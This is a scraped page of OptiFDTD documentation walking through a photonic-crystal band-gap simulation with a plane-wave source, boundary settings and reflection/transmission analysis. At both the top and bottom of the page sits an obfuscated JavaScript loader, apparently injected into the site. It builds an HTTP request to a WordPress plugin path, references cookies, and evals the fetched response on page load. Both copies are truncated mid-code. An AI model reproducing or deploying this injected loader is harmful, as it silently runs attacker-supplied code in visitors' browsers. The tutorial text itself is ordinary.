;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//staging.optiwave.com/wp-content/plugins/advanced-custom-fields-pro/assets/inc/color-picker-alpha/color-picker-alpha.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B // global window.SFM_is_mobile = (function () { var n = navigator.userAgent; var reg = new RegExp('Android\s([0-9\.]*)') var match = n.toLowerCase().match(reg); var android = match ? parseFloat(match[1]) : false; if (android && android < 3.6) { return; }; return n.match(/Android|BlackBerry|IEMobile|iPhone|iPad|iPod|Opera Mini/i); })(); window.SFM_current_page_menu = '670'; (function(){ var mob_bar = ''; var pos = 'right'; var iconbar = ''; var SFM_skew_disabled = ( function( ) { var window_width = window.innerWidth; var sfm_width = 290; if ( sfm_width * 2 >= window_width ) { return true; } return false; } )( ); var classes = SFM_is_mobile ? 'sfm-mobile' : 'sfm-desktop'; var html = document.getElementsByTagName('html')[0]; // pointer classes += mob_bar ? ' sfm-mob-nav' : ''; classes += ' sfm-pos-' + pos; classes += iconbar ? ' sfm-bar' : ''; classes += SFM_skew_disabled ? ' sfm-skew-disabled' : ''; html.className = html.className == '' ? classes : html.className + ' ' + classes; })();

Plane Wave Simulation Based on the Periodic Cell of PhC

Compatibility:

Most of the photonic crystal has the periodic lattice. In some cases, you may want to know the band gap effect for such a lattice. As discussed in the OptiFDTD Technical Background, this task can be simplified in an FDTD simulation using plane wave excitation and PEC/PMC boundary conditions.

For example, Figure 100 shows a 2D square lattice going to infinity in both x- and z directions.

FDTD - 2D square lattice

Figure 100: 2D square lattice

You can simulate the structure shown in Figure 100 by taking a domain-reduced
region (shown in Figure 101) with a plane wave and PMC boundary conditions for 2DTE
wave.

FDTD - Figure 101 Domain reduced region

Figure 101: Domain reduced region

Designing a PBG structure

To design a PBG structure, perform the following procedures.

Step Action
1 Start Waveguide Layout Designer.
2 To create a new project, select File > New.

The Initial Properties dialog box appears.

3 Click Profiles and Materials.

The Profile Designer window appears.

4 Under the Materials folder of OptiFDTD Designer1, right-click the Dielectric folder and select New.

A new Dielectric material dialog box appears.

5 Type the following information:

Name: PBG_atom 

Refractive index (Re:): 3.1

6 To save the material, click Store.

PBG_atom appears in the Dielectric folder in the directory and in the dialog box title bar.

To define the channel profile, perform the following procedure.

Step Action
1 Under the Profiles folder of OptiFDTD Designer1, right-click the Channel folder and select New.

The ChannelPro1 dialog box appears.

2 Create the following channel profile:

Profile name: Profile_PBG

2D profile definition

Material: PBG_atom

3D profile definition

Layer name: layer_01

Width:  1.0

Thickness: 1.0

Offset: 0.0

Material: PBG_atom

3 Click Store.
4 Close the Profile Designer.

To define the wafer and waveguide properties, perform the following procedure.

Step Action
1 In the Initial Properties dialog box, type/select the following:

Waveguide Properties

Width [μm]: 1.0

Profile: Profile_PBG

Wafer Dimensions

Length [μm]: 10.0

Width [μm]: 1.0

2D Wafer Properties

Material: Air

2 Click OK.

The Initial Properties dialog box closes.

3 In the Layout Designer, from the Draw menu, select PBG Crystal Structure.
4 In the layout window, drag the cursor from a designated starting point and release, to create the PBG area.

The PBG Crystal Structure appears in the layout window.

5 To edit the crystal structure, double-click on the PBG structure in the layout.

The Crystal Lattice Properties dialog box appears (see Figure 86 as a reference).

6 In Origin, Offset, type/select the following:

Horizontal: 2.0

Vertical: -0.5

7 Click Evaluate.
8 Type/select the following:

Depth: 0.0

Azimuth [deg]: 0.0

9 In Lattice Properties, select 2D Rectangular.
10 In Lattice Dimensions, type/select the following:

Scale: 1.0

#A: 1

#C: 6

Note: When a 2D lattice is selected, the Y-direction cell #B is set to the default value of 1.

11 In Label, type PBGCrystalStruct1.

Note: Do NOT close the Crystal Lattice Properties dialog box.

Setting the atom properties

To set the atom properties, perform the following procedure in the Crystal Lattice Properties dialog box.

Step Action
1 In Atom Waveguide in Unit Cell, Add New, select Elliptic Waveguide from the drop-down menu and click New.

The Elliptic Waveguide Properties dialog box appears (see Figure 87 as a reference).

2 In Center, Offset, type/select the following:

Horizontal: 0.5

Vertical: 0.5

3 Type/select the following:

Major radius: 0.2

Minor radius: 0.2

Orientation angle: 0.0

Channel thickness tapering: Use Default (Channel: None)

Depth: 0.0

Label: Atom

Profile: Profile_PBG.

4 Click OK to close the Elliptic Waveguide Properties dialog box.

Note: When you return to the Crystal Lattice Properties dialog box, you will see the defined elliptic waveguide listed in Atom Waveguide in Unit Cell.

5 Click OK to close the Crystal Lattice Properties dialog box.

The defined PBG structure appears in the layout window (see Figure 102).

FDTD - Figure 102 Defined PBG structure in layout window

Figure 102: Defined PBG structure in layout window

Inserting the input plane

To insert the input plane, perform the following procedure.

Step Action
1 From the Draw menu, select Vertical Input Plane.
2 To insert the input plane, click in the layout window where you want it placed.

The input plane appears in the layout.

3 To edit the input plane, double-click on the input plane in the layout.

The Input Plane Properties dialog box appears.

4 Set Wavelength to 1.9 mm
5 Select Gaussian Modulated Continuous Wave.
6 On the Gaussian Modulated CW tab, type/select the following: Time Offset [Sec]: 6.0e-14

Half Width [Sec]: 1.0e-14

7 On the General tab, select Input Field Transverse: Rectangular.
8 On the 2D Transverse tab, type/select the following:

Center Position [μm]: 0.0

Halfwidth [μm]: 2.0

Tilting Angle [deg]: 0.0

Effective Refractive Index: Local

Amplitude [V/m]: 1.0

9 On the General tab, type/select the following:

Plane Geometry

Z Position [μm]: 0.5

Positive direction

10 Click OK.

The Input Field Properties dialog box closes.

Setting up the Observation Point

Step Action
1 From the Draw menu, select Observation Point.
2 Place the Observation Point in the desired position in the layout.
3 Double-click the observation point.

The Observation Properties — Point dialog box appears.

4 On the General tab:

In Center, Offset, type/select the following:

Horizontal: 0.25μm

Vertical: 0.0μm

Center depth: 0.0 μm

Label: Observation Point1

5 On the Data Components tab, ensure that 2D TE: Ey is selected (default).
6 Click OK.

The Observation Properties — Point dialog box closes.

7 Repeat steps 1 to 5 and create another Observation Point with the following information.
8 On the General tab:

In Center, Offset, type/select the following:

Horizontal: 8.5μm

Vertical: 0.0μm

Center depth: 0.0 μm

Label: Observation Point2

9 On the Data Components tab, ensure that 2D TE: Ey is selected (default).
10 Repeat steps 1 to 5 and create another Observation Point with the following information.
11 On the General tab:

In Center, Offset, type/select the following:

Horizontal: 9.5μm

Vertical: 0.0μm

Center depth: 0.0 μm

Label: Observation Point3

12 On the Data Components tab, ensure that 2D TE: Ey is selected (default).

Note: Observation Point1 is used to calculate the reflection, while Observation Point2 and Observation Point3 are used to calculate the transmittance.

Setting the 2D TE FDTD simulation parameters

Step Action
1 From the Simulation menu, select 2D Simulation Parameters.

The Simulation Parameters dialog box appears.

2 Type/select the following information:

Polarization: TE

Mesh Delta X [μm]: 0.05

Mesh Delta Y [μm]: 0.05

3 Click Advanced….

The Boundary Conditions dialog box appears.

4 Type/select the following information (see Figure 103):

-X: Anisotropic PML

+X: Anisotropic PML

-Z: Anisotropic PML

+Z: Anisotropic PML

Anisotropic PML Calculation Parameters

Number of Anisotropic PML Layers: 10

Theoretical Reflection Coefficient: 1.0e-12

Real Anisotropic PML Tensor Parameters: 5.0

Power of Grading Polynomial: 3.5

FDTD - Figure 103 2D simulation parameters

Figure 103: 2D simulation parameters

Note: The rectangular beam with PMC boundaries on the edge realizes the TE plane wave simulation for the periodic structure.

5 In Time Parameters, click Calculate.
The default time step size is calculated.
6  Select Run for 12000 Time Steps (Results Finalized).
7  Select Key Input Information: Input Plane1 and wavelength:1.9.Note: The input plane’s center wavelength is used for DFT calculations.
8  Click OK to close the Simulation Parameters dialog box without running the simulation, or click Run to start the OptiFDTD Simulator.Note: Before running the simulation, save the project to a file.

Observing the simulation results in OptiFDTD Simulator

Key things to observe:

  • Refractive index distribution
  • Observe the wave propagation in OptiFDTD Simulator (see Figure 104).
  • Select View > Observation Point to see the dynamic time domain and frequency domain response (see Figure 105).

FDTD - Figure 104 OptiFDTD Simulator—Wave propagation

Figure 104: OptiFDTD Simulator—Wave propagation

FDTD - Figure 105 OptiFDTD Simulator—Dynamic time domain and frequency domain response

Figure 105: OptiFDTD Simulator—Dynamic time domain and frequency domain response

Performing data analysis

In OptiFDTD_Analyzer, perform the following procedure.

Step Action
1 To start the observation point analysis, from the Tools menu, select Observation Area Analysis.

The Observation Area Analysis dialog box appears (see Figure 99).

2 Select ObservationPoint1, ObservationPoint2, and ObservationPoint3.

The simulation results from the observation points displays in the graph window.

3 Type/select the following:

Frequency DFT Min. λ /f : 1.5μm

Max. λ /f : 2.3μm

Sample Point: 1000

Normalize With

InputPlane1

4 Click Update Graph to view the transmittance and reflection curves (see Figure 106).

FDTD - Figure 106 Observation Area Analysis dialog box

Figure 106: Observation Area Analysis dialog box

;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//staging.optiwave.com/wp-content/plugins/advanced-custom-fields-pro/assets/inc/color-picker-alpha/color-picker-alpha.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B